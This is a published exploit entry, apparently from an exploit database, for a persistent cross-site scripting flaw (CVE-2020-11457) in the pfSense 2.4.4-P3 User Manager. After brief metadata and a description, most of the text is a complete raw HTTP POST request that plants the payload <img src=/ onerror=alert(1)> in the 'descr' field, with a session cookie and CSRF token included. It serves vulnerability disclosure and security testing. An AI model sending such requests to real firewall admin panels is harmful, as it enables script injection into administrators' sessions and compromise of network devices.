39 lines
No EOL
1.9 KiB
Text
39 lines
No EOL
1.9 KiB
Text
# Exploit Title: pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting
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# Date: 2020-04-02
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# Exploit Author: Matthew Aberegg
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# Vendor Homepage: https://www.pfsense.org
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# Version: PfSense 2.4.4-P3
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# Tested on: FreeBSD 11.2-RELEASE-p10
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# CVE : CVE-2020-11457
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# Vulnerability Details
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# Description : A persistent cross-site scripting vulnerability exists within the 'User Manager' functionality of the pfSense administration panel.
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# Vulnerable Parameter : descr
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# POC
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# Exploit Details : The following request will create a user in the 'User Manager' functionality with an XSS payload as the Full Name.
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# This payload can be triggered by navigating to "https://TARGET/system_usermanager_addprivs.php?userid=0" where userid is
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# the id of the user containing the payload.
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POST /system_usermanager.php?act=new HTTP/1.1
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Host: TARGET
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Connection: close
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Content-Length: 410
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Cache-Control: max-age=0
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Origin: https://TARGET
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Upgrade-Insecure-Requests: 1
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
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Sec-Fetch-Dest: document
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Referer: https://TARGET/system_usermanager.php?act=new
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: PHPSESSID=ebd302521a887cef99f517e3ac6bdd7d
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__csrf_magic=sid%3A3689bbf23a3350994d7543c082fc36d16397208d%2C1585881631&usernamefld=TEST&passwordfld1=password&passwordfld2=password&descr=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&expires=&webguicss=pfSense.css&webguifixedmenu=&webguihostnamemenu=&dashboardcolumns=2&name=&caref=5e643dcfd524e&keylen=2048&lifetime=3650&authorizedkeys=&ipsecpsk=&act=&userid=&privid=&certid=&utype=user&oldusername=&save=Save |